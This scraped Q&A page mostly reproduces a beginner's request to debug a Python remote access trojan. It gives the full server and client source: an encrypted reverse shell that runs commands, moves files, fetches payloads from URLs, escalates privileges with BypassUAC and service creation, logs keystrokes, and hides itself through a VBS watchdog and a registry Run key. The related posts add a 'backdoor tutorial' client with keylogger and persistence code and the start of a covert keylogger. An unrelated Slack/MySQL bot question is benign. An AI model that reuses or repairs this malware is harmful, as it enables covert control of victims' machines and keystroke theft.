Python Script Name Not Defined - python
I am very new to Python. I was following a simple Python tutorial, but don't get the expected results.
After running the compiled executable on the client, the client shows up on my server. However, when I choose the client number (1), the python script is immediately exited and I get the following error when run on a remote Linux server:
Activating client: ('172.51.8.204', 18268)
Traceback (most recent call last):
File "xmulti_aeserver.py", line 207, in <module>
if nextcmd.startswith("download ") == True:
NameError: name 'nextcmd' is not defined
When run locally on a Windows server, the script does not exit, but the server disconnects the client as such:
Activating client: ('192.168.1.104', 26042)
Client disconnected... ('192.168.1.104', 26042)
I've been reading about name errors everywhere, and I can't see anything wrong with the code I'm using.
Here is my server code (xmulti_aeserver.py):
#!/usr/bin/env python
from Crypto.Cipher import AES
import socket, base64, os, time, sys, select
from Crypto import Random
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
iv = Random.new().read(16)
# clear function
##################################
# Windows ---------------> cls
# Linux ---------------> clear
if os.name == 'posix': clf = 'clear'
if os.name == 'nt': clf = 'cls'
clear = lambda: os.system(clf)
# initialize socket
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
c.bind(('0.0.0.0', 443))
c.listen(128)
# client information
active = False
clients = []
socks = []
interval = 0.8
# Functions
###########
# send data
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data += decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# download file
def download(sock, remote_filename, local_filename=None):
# check if file exists
if not local_filename:
local_filename = remote_filename
try:
f = open(local_filename, 'wb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "download "+remote_filename)
print "Downloading: " + remote_filename + " > " + local_filename
fileData = Receive(sock)
f.write(fileData)
time.sleep(interval)
f.close()
time.sleep(interval)
# upload file
def upload(sock, local_filename, remote_filename=None):
# check if file exists
if not remote_filename:
remote_filename = local_filename
try:
g = open(local_filename, 'rb')
except IOError:
print "Error opening file.\n"
Send(sock, "cd .")
return
# start transfer
Send(sock, "upload "+remote_filename)
print 'Uploading: ' + local_filename + " > " + remote_filename
while True:
fileData = g.read()
if not fileData: break
Send(sock, fileData, "")
g.close()
time.sleep(interval)
Send(sock, "")
time.sleep(interval)
# refresh clients
def refresh():
clear()
print '\nListening for clients...\n'
if len(clients) > 0:
for j in range(0,len(clients)):
print '[' + str((j+1)) + '] Client: ' + clients[j] + '\n'
else:
print "...\n"
# print exit option
print "---\n"
print "[0] Exit \n"
print "\nPress Ctrl+C to interact with client."
# main loop
while True:
refresh()
# listen for clients
try:
# set timeout
c.settimeout(10)
# accept connection
try:
s,a = c.accept()
except socket.timeout:
continue
# add socket
if (s):
s.settimeout(None)
socks += [s]
clients += [str(a)]
# display clients
refresh()
# sleep
time.sleep(interval)
except KeyboardInterrupt:
# display clients
refresh()
# accept selection --- int, 0/1-128
activate = input("\nEnter option: ")
# exit
if activate == 0:
print '\nExiting...\n'
for j in range(0,len(socks)):
socks[j].close()
sys.exit()
# subtract 1 (array starts at 0)
activate -= 1
# clear screen
clear()
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
print '\nActivating client: ' + clients[activate] + '\n'
active = True
Send(socks[activate], 'Activate')
# interact with client
while active:
try:
# receive data from client
data = Receive(socks[activate])
# disconnect client.
except:
print '\nClient disconnected... ' + clients[activate]
# delete client
socks[activate].close()
time.sleep(0.8)
socks.remove(socks[activate])
clients.remove(clients[activate])
refresh()
active = False
break
# exit client session
if data == 'quitted':
# print message
print "Exit.\n"
# remove from arrays
socks[activate].close()
socks.remove(socks[activate])
clients.remove(clients[activate])
# sleep and refresh
time.sleep(0.8)
refresh()
active = False
break
# if data exists
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
# download
if nextcmd.startswith("download ") == True:
if len(nextcmd.split(' ')) > 2:
download(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
download(socks[activate], nextcmd.split(' ')[1])
# upload
elif nextcmd.startswith("upload ") == True:
if len(nextcmd.split(' ')) > 2:
upload(socks[activate], nextcmd.split(' ')[1], nextcmd.split(' ')[2])
else:
upload(socks[activate], nextcmd.split(' ')[1])
# normal command
elif nextcmd != '':
Send(socks[activate], nextcmd)
elif nextcmd == '':
print 'Think before you type. ;)\n'
Here is my client code (xmulti_aeshell.py):
#!/usr/bin/python
from Crypto.Cipher import AES
import subprocess, socket, base64, time, os, sys, urllib2, pythoncom, pyHook, logging
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(s))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e))
# generate a random secret key
secret = "HUISA78sa9y&9syYSsJhsjkdjklfs9aR"
# server config
HOST = '192.168.1.104'
PORT = 443
# session controller
active = False
# Functions
###########
# send data function
def Send(sock, cmd, end="EOFEOFEOFEOFEOFX"):
sock.sendall(EncodeAES(cipher, cmd + end))
# receive data function
def Receive(sock, end="EOFEOFEOFEOFEOFX"):
data = ""
l = sock.recv(1024)
while(l):
decrypted = DecodeAES(cipher, l)
data = data + decrypted
if data.endswith(end) == True:
break
else:
l = sock.recv(1024)
return data[:-len(end)]
# prompt function
def Prompt(sock, promptmsg):
Send(sock, promptmsg)
answer = Receive(sock)
return answer
# upload file
def Upload(sock, filename):
bgtr = True
# file transfer
try:
f = open(filename, 'rb')
while 1:
fileData = f.read()
if fileData == '': break
# begin sending file
Send(sock, fileData, "")
f.close()
except:
time.sleep(0.1)
# let server know we're done..
time.sleep(0.8)
Send(sock, "")
time.sleep(0.8)
return "Finished download."
# download file
def Download(sock, filename):
# file transfer
g = open(filename, 'wb')
# download file
fileData = Receive(sock)
time.sleep(0.8)
g.write(fileData)
g.close()
# let server know we're done..
return "Finished upload."
# download from url (unencrypted)
def Downhttp(sock, url):
# get filename from url
filename = url.split('/')[-1].split('#')[0].split('?')[0]
g = open(filename, 'wb')
# download file
u = urllib2.urlopen(url)
g.write(u.read())
g.close()
# let server know we're done...
return "Finished download."
# privilege escalation
def Privs(sock):
# Windows/NT Methods
if os.name == 'nt':
# get initial info
privinfo = '\nUsername: ' + Exec('echo %USERNAME%')
privinfo += Exec('systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"')
winversion = Exec('systeminfo')
windowsnew = -1
windowsold = -1
# newer versions of windows go here
windowsnew += winversion.find('Windows 7')
windowsnew += winversion.find('Windows 8')
windowsnew += winversion.find('Windows Vista')
windowsnew += winversion.find('Windows VistaT')
windowsnew += winversion.find('Windows Server 2008')
# older versions go here (only XP)
windowsold += winversion.find('Windows XP')
windowsold += winversion.find('Server 2003')
# if it is, display privs using whoami command.
if windowsnew > 0:
privinfo += Exec('whoami /priv') + '\n'
# check if user is administrator
admincheck = Exec('net localgroup administrators | find "%USERNAME%"')
# if user is in the administrator group, attempt service priv. esc. using bypassuac
if admincheck != '':
privinfo += 'Administrator privilege detected.\n\n'
# if windows version is vista or greater, bypassUAC :)
if windowsnew > 0:
# prompt for bypassuac location or url
bypassuac = Prompt(sock, privinfo+'Enter location/url for BypassUAC: ')
# attempt to download from url
if bypassuac.startswith("http") == True:
try:
c = Downhttp(sock, bypassuac)
d = os.getcwd() + '\\' + bypassuac.split('/')[-1]
except:
return "Download failed: invalid url.\n"
# attempt to open local file
else:
try:
c = open(bypassuac)
c.close()
d = bypassuac
except:
return "Invalid location for BypassUAC.\n"
# fetch executable's location
curdir = os.path.join(sys.path[0], sys.argv[0])
# add service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc create blah binPath= "cmd.exe /c ' + curdir + '" type= own start= auto')
if windowsold > 0: elvpri = Exec('sc create blah binPath= "' + curdir + '" type= own start= auto')
# start service
if windowsnew > 0: elvpri = Exec(d + ' elevate /c sc start blah')
if windowsold > 0: elvpri = Exec('sc start blah')
# finished.
return "\nPrivilege escalation complete.\n"
# windows xp doesnt allow wmic commands by defautlt ;(
if windowsold > 0:
privinfo += 'Unable to escalate privileges.\n'
return privinfo
# attempt to search for weak permissions on applications
privinfo += 'Searching for weak permissions...\n\n'
# array for possible matches
permatch = []
permatch.append("BUILTIN\Users:(I)(F)")
permatch.append("BUILTIN\Users:(F)")
permbool = False
# stage 1 outputs to text file: p1.txt
xv = Exec('for /f "tokens=2 delims=\'=\'" %a in (\'wmic service list full^|find /i "pathname"^|find /i /v "system32"\') do #echo %a >> p1.txt')
# stage 2 outputs to text file: p2.txt
xv = Exec('for /f eol^=^"^ delims^=^" %a in (p1.txt) do cmd.exe /c icacls "%a" >> p2.txt')
# give some time to execute commands,
# 40 sec should do it... ;)
time.sleep(40)
# loop from hell to determine a match to permatch array.
ap = 0
bp = 0
dp = open('p2.txt')
lines = dp.readlines()
for line in lines:
cp = 0
while cp < len(permatch):
j = line.find(permatch[cp])
if j != -1:
# we found a misconfigured directory :)
if permbool == False:
privinfo += 'The following directories have write access:\n\n'
permbool = True
bp = ap
while True:
if len(lines[bp].split('\\')) > 2:
while bp <= ap:
privinfo += lines[bp]
bp += 1
break
else:
bp -= 1
cp += 1
ap += 1
time.sleep(4)
if permbool == True: privinfo += '\nReplace executable with Python shell.\n'
if permbool == False: privinfo += '\nNo directories with misconfigured premissions found.\n'
# close file
dp.close()
# delete stages 1 & 2
xv = Exec('del p1.txt')
xv = Exec('del p2.txt')
return privinfo
# persistence
def Persist(sock, redown=None, newdir=None):
# Windows/NT Methods
if os.name == 'nt':
privscheck = Exec('reg query "HKU\S-1-5-19" | find "error"')
# if user isn't system, return
if privscheck != '':
return "You must be authority\system to enable persistence.\n"
# otherwise procede
else:
# fetch executable's location
exedir = os.path.join(sys.path[0], sys.argv[0])
exeown = exedir.split('\\')[-1]
# get vbscript location
vbsdir = os.getcwd() + '\\' + 'vbscript.vbs'
# write VBS script
if redown == None: vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nWhile state = 1\nexist = ReportFileStatus(wshname)\nIf exist = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nElse\nWshShell.Run """' + exedir + '""",hidden\nwscript.sleep 50000\nEnd If\nvFound = False\nElse\nwscript.sleep 50000\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\n'
else:
if newdir == None:
newdir = exedir
newexe = exeown
else:
newexe = newdir.split('\\')[-1]
vbscript = 'state = 1\nhidden = 0\nwshname = "' + exedir + '"\nvbsname = "' + vbsdir + '"\nurlname = "' + redown + '"\ndirname = "' + newdir + '"\nWhile state = 1\nexist1 = ReportFileStatus(wshname)\nexist2 = ReportFileStatus(dirname)\nIf exist1 = False And exist2 = False then\ndownload urlname, dirname\nEnd If\nIf exist1 = True Or exist2 = True then\nif exist1 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(wshname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nexist2 = False\nend if\nif exist2 = True then\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(dirname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nend if\nset objFSO = CreateObject("Scripting.FileSystemObject")\nset objFile = objFSO.GetFile(vbsname)\nif objFile.Attributes AND 2 then\nelse\nobjFile.Attributes = objFile.Attributes + 2\nend if\nSet WshShell = WScript.CreateObject ("WScript.Shell")\nSet colProcessList = GetObject("Winmgmts:").ExecQuery ("Select * from Win32_Process")\nFor Each objProcess in colProcessList\nif objProcess.name = "' + exeown + '" OR objProcess.name = "' + newexe + '" then\nvFound = True\nEnd if\nNext\nIf vFound = True then\nwscript.sleep 50000\nEnd If\nIf vFound = False then\nIf exist1 = True then\nWshShell.Run """' + exedir + '""",hidden\nEnd If\nIf exist2 = True then\nWshShell.Run """' + dirname + '""",hidden\nEnd If\nwscript.sleep 50000\nEnd If\nvFound = False\nEnd If\nWend\nFunction ReportFileStatus(filespec)\nDim fso, msg\nSet fso = CreateObject("Scripting.FileSystemObject")\nIf (fso.FileExists(filespec)) Then\nmsg = True\nElse\nmsg = False\nEnd If\nReportFileStatus = msg\nEnd Function\nfunction download(sFileURL, sLocation)\nSet objXMLHTTP = CreateObject("MSXML2.XMLHTTP")\nobjXMLHTTP.open "GET", sFileURL, false\nobjXMLHTTP.send()\ndo until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop\nIf objXMLHTTP.Status = 200 Then\nSet objADOStream = CreateObject("ADODB.Stream")\nobjADOStream.Open\nobjADOStream.Type = 1\nobjADOStream.Write objXMLHTTP.ResponseBody\nobjADOStream.Position = 0\nSet objFSO = Createobject("Scripting.FileSystemObject")\nIf objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation\nSet objFSO = Nothing\nobjADOStream.SaveToFile sLocation\nobjADOStream.Close\nSet objADOStream = Nothing\nEnd if\nSet objXMLHTTP = Nothing\nEnd function\n'
# open file & write
vbs = open('vbscript.vbs', 'wb')
vbs.write(vbscript)
vbs.close()
# add registry to startup
persist = Exec('reg ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v blah /t REG_SZ /d "' + vbsdir + '"')
persist += '\nPersistence complete.\n'
return persist
# execute command
def Exec(cmde):
# check if command exists
if cmde:
execproc = subprocess.Popen(cmde, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmdoutput = execproc.stdout.read() + execproc.stderr.read()
return cmdoutput
# otherwise, return
else:
return "Enter a command.\n"
# keylogging function
# version 1, by K.B. Carte
##########################
# enter log filename.
LOG_STATE = True
LOG_FILENAME = 'keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=LOG_FILENAME,
level=logging.DEBUG,
format='%(message)s')
logging.log(10,chr(event.Ascii))
return True
# main loop
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# create a cipher object using the random secret
cipher = AES.new(secret,AES.MODE_CFB, iv)
# waiting to be activated...
data = Receive(s)
# activate.
if data == 'Activate':
active = True
Send(s, "\n"+os.getcwd()+">")
# interactive loop
while active:
# Receive data
data = Receive(s)
# think before you type smartass
if data == '':
time.sleep(0.02)
# check for quit
if data == "quit" or data == "terminate":
Send(s, "quitted")
break
# check for change directory
elif data.startswith("cd ") == True:
try:
os.chdir(data[3:])
stdoutput = ""
except:
stdoutput = "Error opening directory.\n"
# check for download
elif data.startswith("download") == True:
# Upload the file
stdoutput = Upload(s, data[9:])
elif data.startswith("downhttp") == True:
# Download from url
stdoutput = Downhttp(s, data[9:])
# check for upload
elif data.startswith("upload") == True:
# Download the file
stdoutput = Download(s, data[7:])
elif data.startswith("privs") == True:
# Attempt to elevate privs
stdoutput = Privs(s)
elif data.startswith("persist") == True:
# Attempt persistence
if len(data.split(' ')) == 1: stdoutput = Persist(s)
elif len(data.split(' ')) == 2: stdoutput = Persist(s, data.split(' ')[1])
elif len(data.split(' ')) == 3: stdoutput = Persist(s, data.split(' ')[1], data.split(' ')[2])
elif data.startswith("keylog") == True:
# Begin keylogging
if LOG_STATE == False:
try:
# set to True
LOG_STATE = True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
stdoutput = "Logging keystrokes to: "+LOG_FILENAME+"...\n"
except:
ctypes.windll.user32.PostQuitMessage(0)
# set to False
LOG_STATE = False
stdoutput = "Keystrokes have been logged to: "+LOG_FILENAME+".\n"
else:
# execute command.
stdoutput = Exec(data)
# send data
stdoutput = stdoutput+"\n"+os.getcwd()+">"
Send(s, stdoutput)
# loop ends here
if data == "terminate":
break
time.sleep(3)
except socket.error:
s.close()
time.sleep(10)
continue
I would appreciate any pointers.
In xmulti_aeserver.py just above:
# main loop
while True:
.....
write nextcmd = ''. So it will be:
nextcmd = ''
# main loop
while True:
.....
This will define the nextcmd.
Add to this IF statment:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
elif data == '':
nextcmd = raw_input()
else:
nextcmd = raw_input()
You only define nextcmd in one branch of an if-else statement:
elif data != '':
# get next command
sys.stdout.write(data)
nextcmd = raw_input()
but then assume that it is defined on line 207. You are missing the case where data is the empty string, which prevents nextcmd from being defined when you try to access it.
It looks like you have
if data == 'quitted':
....
elif data != '':
....
nextcmd = raw_input()
But if data=='', nextcmd is not set to anything, which causes the error when you try and use it.
Related
How can I fix Pyinstaller error: Failed to execute script
I am following the backdoor-tutorial by Aleksa Tamburkovski But when I try to compile the .py file into an .exe file using pyinstaller backdoor.py --onefile --noconsole in cmd, it compiles at first but when I try to open the file it says: Failed to execute script. I have no Idea whats going on. Here are the files, one the backdoor.py and another one which is needed to run it: backdoor.py: import socket import json import subprocess import os import pyautogui import keylogger import threading import shutil import sys def reliable_recv(): data = '' while True: try: data = data + s.recv(1024).decode().rstrip() return json.loads(data) except ValueError: continue def upload_file(file_name): f = open(file_name, 'rb') s.send(f.read()) def download_file(file_name): f = open(file_name, 'wb') s.settimeout(1) chunk = s.recv(1024) while chunk: f.write(chunk) try: chunk = s.recv(1024) except socket.timeout as e: break s.settimeout(None) f.close() def screenshot(): Ss = pyautogui.screenshot() Ss.save('screen.png') def persist(r,c): file_loc = os.eviron['appdata'] + '\\' + c try: if not os.path.exists(file_loc): shutil.copyfile(sys.executable, file_loc) subprocess.call('reg add HKCU\Software\Microsoft\Wndows\CurrentVersion /v ' + r +' /t REG_SZ /d "' + file_loc + '"', shell =True) reliable_send('[+] Created Persistance at: '+ r) else: reliable_send('[+] Persistance already Exists!') except: reliable_send('[-] Error Creating Persistance') def reliable_send(data): jsondata = json.dumps(data) s.send(jsondata.encode()) def shell(): while True: command = reliable_recv() if command == 'quit': break elif command == 'help': pass elif command == 'clear': pass elif command[:6] == 'upload': download_file(command[7:]) elif command[:3] == 'cd ': os.chdir(command[3:]) elif command[:8] == 'download': upload_file(command[9:]) elif command[:10] == 'screenshot': screenshot() upload_file('screen.png') os.remove('screen.png') elif command[:12] == 'keylog_start': keylog = keylogger.Keylogger() t = threading.Thread(target = keylog.start) t.start() reliable_send('[+] Keylogger Started!') elif command[:11] == 'keylog_dump': logs = keylog.read_logs() reliable_send(logs) elif command[:11] == 'keylog_stop': keylog.self_destruct() t.join() reliable_send('[-] Keylogger Stopped!') elif command[:11] == 'persistence': reg_name, copy_name = command[12:].split(' ') persist(reg_name, copy_name) else: execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE) result = execute.stdout.read() + execute.stderr.read() result = result.decode() reliable_send(result) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1',5555)) shell() keylogger.py: import os from pynput.keyboard import Listener import time import threading class Keylogger(): keys = [] count = 0 #path = 'processmannager.txt' path = os.environ['appdata'] + '\\processmannager.txt' flag = 0 def on_press(self,key): self.keys.append(key) self.count += 1 if self.count >= 1: self.count = 0 self.write_file(self.keys) self.keys = [] def read_logs(self): with open(self.path,'rt')as f: return f.read() def write_file(self,keys): with open(self.path, 'a') as f: for key in keys: k = str(key).replace("'","") k = str(k).replace("Key.space",' ') k = str(k).replace("Key.enter", '\n') k = str(k).replace("Key.shift", "[Shift]") k = str(k).replace("Key.caps_lock", "[Caps_lock]") f.write(k) def self_destruct(self): self.flag = 1 listener.stop() os.remove('processmannager.txt') def start(self): global listener with Listener(on_press=self.on_press) as listener: listener.join() And when I try pyinstaller backdoor.py --onefile --noconsole --debug=all it shows me: Please help me Out on this.
Table values not getting inserted into mysql database until cntrl+c is entered to close python file in linux
Edited Q)Can someone help getting the values inserted into mysql database , just confused where place mydb function Reason :Once I manually enter cntrl+c for .py , then only the values are getting inserted into mysql database Used in the .py file here is the complete code , where should i place the mydb function? Table values not getting inserted into mysql database until cntrl+c is entered to close python file in linux import os import re from builtins import len, Exception import slack import logging from subprocess import check_output import datetime import mysql.connector import time import json import requests #user_threads_info = {} #thread_ts = "" #slack.RTMClient.run_on(event='message') def say_hello(**payload): try: ##0 get clients and payload logging.info('msg received') data = payload['data'] web_client = payload['web_client'] rtm_client = payload['rtm_client'] ##0 - 1 Check if it is the first msg, not replied msg by me # print(data) if data.get('text') == None: logging.info('This msg is my replied msg.') return False ##0-2 Get channel info channel_id = data['channel'] thread_ts = data['ts'] global user user = data['user'] #user_info = get_userinfo(user) #print(user_info) msg = data['text'] ##1 get scenario submsg retVal = analysis_msg(msg) # print(retVal) response = web_client.users_list() assert(response['ok']) user_map = {x['id']: x['name'] for x in response['members']} global user_name user_name = user_map[user] if user in user_map else None print(user_name) if retVal[0] == False: retMsg = retVal[1] + "\nI can create the following orders. \n" \ "a) spu - store pickup \n" \ "b) sth - ship to home \n" \ "c) del - delivery \n" \ "d) digitalAsGuest - Digital item \n" \ " \n" \ "Please provide information as mentioned in below example.\n" \ " \n" \ "Example: spu:3646989:sftqa3:AMEX\n" \ "\n" \ "Sample SKUS:\n" \ "spu - [3646989,8862011]\n" \ "sth - [2592015,6140094]\n" \ "del - [5592005,8862011]\n" \ "digitalAsGuest - [2810037,5057400]" send_msg(web_client, channel_id, thread_ts, user, retMsg) return False ##2 form cmd retVal = form_cmd(retVal[1]) print(retVal) if retVal == False: return False ##3 execute cmd # inform the start of test retMsg = "Creating an order,Please wait for the result." send_msg(web_client, channel_id, thread_ts, user, retMsg) global res try: res1 = os.popen(retVal).read() print("Printing result...") print(res1) print("end of print") res = reg_result_new(res1) if res == False: print("reg_function failure") retMsg = "The test order placement failed." else: retMsg = "Order Id - " + res['id'] + "\nFirst Name - " + res['firstName'] + "\nLast Name - " + res['lastName'] + "\n PhoneNumber - " + res['dayPhoneNumber'] + "\n Email - " + res['email'] + "\n" except Exception as ee: retMsg = "The test scenario has a failure. Please Check the feature file." ## 4 send result to slack # retMsg = "Order Id - " + res['id'] + "\nFirst Name - " + res['firstName'] + "\nLast Name - " + res['lastName'] + "\n PhoneNumber - " + res['day PhoneNumber'] + "\n Email - " + res['email'] + "\n" create_result_file(user, res) send_msg(web_client, channel_id, thread_ts, user, retMsg) print(retVal) except Exception as e: print("error") logging.critical(str(e)) ############################ My handlers ############################## def create_result_file(user, res): try: cur_time = datetime.datetime.now() file_name = user + str(cur_time.year) + str(cur_time.month) + str(cur_time.day) + str(cur_time.hour) + str( cur_time.minute) + str(cur_time.second) + '.txt' file = open(file_name, 'w') file.write(res) file.close() except Exception as e: print(str(e)) def send_msg(web_client, channel_id, thread_ts,user,mgs): print("thread_ts value is:"+thread_ts) web_client.chat_postMessage( channel=channel_id, text=f"```Hi <#{user}>! \n " + mgs + "```", thread_ts=thread_ts ) #def get_userinfo(user): # payload = {'token': slack_token, 'user': user} # r = requests.get('https://slack.com/api/users.info', params=payload) # print(r.text) # return json.loads(r.text)["user"] # error code mgmt. def error_code(code): # reserved print(code) return [False, code] # break down msg to the test scenario submsgs def analysis_msg(msg): global submsg submsg = msg.split(":") for value in submsg: print(value) if len(submsg) != 4: logging.warning("This msg not test scenario") return error_code("Please check the format") res = {} res["feature"] = submsg[0] res["sku"] = submsg[1] res["env"] = submsg[2] res["payment"] = submsg[3] ###check if validate_sku(res["sku"]) == False: return error_code("INVALID_SKU \n") if validate_env(res["env"]) == False: return error_code("INVALID_ENV \n") if validate_payment(res["payment"]) == False: return error_code("INVALID_payment \n") if check_specialCharacter(res["feature"]) == False: return error_code("INVALID_PROFILE_WITH_SPECIAL_CHARACTER") return [True, res] # form cmd for test bat files ! reserved def form_cmd(submsg): cmd = 'sh /home/iptbot/iptautobot/test.sh ' + submsg['env'] + ' ' + submsg['feature'] + ' ' + submsg["sku"] + ' ' + submsg["payment"] return cmd #code to print user details #code to print user details def reg_result_new(res): start = 'COP Order Response :' end = 'isGuestMode' start_index = res.find(start) + len(start) res = res[start_index:] end_index = res.find(end) + 22 global data data = res[:end_index] try: print('Data -> ' + str(data)) data = json.loads(data.strip()) new_data = {} new_data['id'] = data['id'] new_data['firstName'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['firstName'] new_data['lastName'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['lastName'] new_data['dayPhoneNumber'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['dayPhoneNumber'] new_data['email'] = data['lineItems'][0]['fulfillmentInfo']['storeInfo']['agentInfo']['email'] #new_data['firstName'] = data['paymentInfo']['billingAddressInfo']['firstName'] return new_data except Exception as e: print('Here error -> '+str(e)) return False #def reg_result(res): # "COP Order Response" # lines = res.split('\n') # for line in lines: # pattern = "COP Order Response*" # prog = re.compile(pattern) # result = prog.search(line) # if result == None: # continue # res1 = result.string.split('{') # if len(res1) < 2: # continue # res2 = res1[1].split(',') # if len(res2) < 2: # continue # res3 = res2[0].split(':') # if len(res3) < 2: # continue # return res3[1] # COP Order Response : {"id":"BBY01-200001878853" # return False # return val is Boolean # True/False # Input type: String # for positive integer only # alternative way: Handle exception for int(d) def validate_sku(sku_val): return sku_val.isnumeric() # input val : string # return val: Boolean def validate_env(env_val): env_list = [ "sftqa1" , "sftqa2" , "sftqa3" , "sftqa4" ] if env_val in env_list: return True else: return False def validate_payment(payment_val): env_payment = [ "AMEX","VISA" ] if payment_val in env_payment: return True else: return False # input val : string # return val: Boolean def check_specialCharacter(s): if s == "": return False if s.isspace(): return False return s.isalnum() slack_token = os.environ["SLACK_API_TOKEN"] rtm_client = slack.RTMClient(token=slack_token) rtm_client.start() #database connction mydb = mysql.connector.connect( host="host", user="user", passwd="pass", database="db" ) mycursor = mydb.cursor() for value in submsg: print(value) fulfilment=submsg[0] sku=submsg[1] environment=submsg[2] payment=submsg[3] ts = time.time() date = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S') orderNumber=data['id'] username=user_name print(fulfilment) print(sku) print(environment) print(payment) print(username) print(orderNumber) sqlformula = "INSERT INTO orderDetails (fulfilment,sku,environment,payment,orderNumber,date,user) VALUES (%s,%s,%s,%s,%s,%s,%s)" #order=("sth",3643387,"sftqa2","AMEX") #mycursor.execute(sqlformula,order) mycursor.execute(sqlformula,(fulfilment,sku,environment,payment,orderNumber,date,username)) mydb.commit() mydb.close() Output 1 sh /home/iptbot/iptautobot/test.sh sftqa3 spu 3646989 AMEX 2 error 3 CRITICAL:root:'user' 4 error 5 CRITICAL:root:'user' // clicking Control+C values get inserted 6 ^CWARNING:slack.rtm.client:Websocket was closed. 7 3646989 8 sftqa3 9 AMEX 10 spu 11 3646989 12 sftqa3 13 AMEX 14 a6002043 15 BBY01-200002091354
You are stuck at this point because rtm_client.start() is a synchronous call. If you want it to be asynchronous (non-blocking) then you should run: rtm_client.start(run_async=True) Here it is good walk-through on how to setup async usage of the library. Also have a look at the method signature for RTMClient to get an idea of how it works. Here's a good example detailing a lot of what you would need in your case. Then you will hit your db execution code where you will need to have a while loop to go through the data you want to add to the DB. I would recommend that you use a Queue for this as it is synchronised and will be easier to manage than a global list which is overwritten on every order. Preferably you could use asyncio.Queue with an example of implementation here When an order has passed the validation steps add it to the queue. Here is some pseudo code describing the flow with a basic (not asyncio) Queue: import queue q = queue.Queue() def validate_order(order): valid_order_data = ...... q.put(valid_order_data) while True: valid_order = q.get() # Will wait until there is a value on the queue mycursor.execute(sqlformula, (valid_order))
keylogger to detect all chars properly
I found this code to log keystrokes. but when I type "abcščť" it logs "abc345". Any idea how to log all texts properly? For example when I open notepad/word/browser/etc and type some text, I need to log the same text in python program. from ctypes import * import pythoncom import pyHook import win32clipboard import os import shutil from time import gmtime, strftime #Keylogger Vars user32 = windll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = None #Filewrite Vars filename_directory = "logs" filename_base = "x" filename_ext = ".log" open_type = 'a+' filesize_limit = 500000 #Bytes paste_limit = 500 #chars #CheckQuit Vars6 quit_pass = "pyquit" quit_pass_counter = 0 #CheckKill Vars kill_pass = "kill" kill_pass_counter = 0 kill_program_name = "pylogger.py" #Checkpass Vars pause_pass = "pypause" resume_pass = "pyresume" resume_pass_counter = 0 pause_pass_counter = 0 pause = False #Pause Vars status_pass = "pystatus" status_pass_counter = 0 #Dump Vars dump_pass = "pydump" dump_pass_counter = 0 #This is triggered every time a key is pressed #So you can think of this as the main entry point for all other functions def 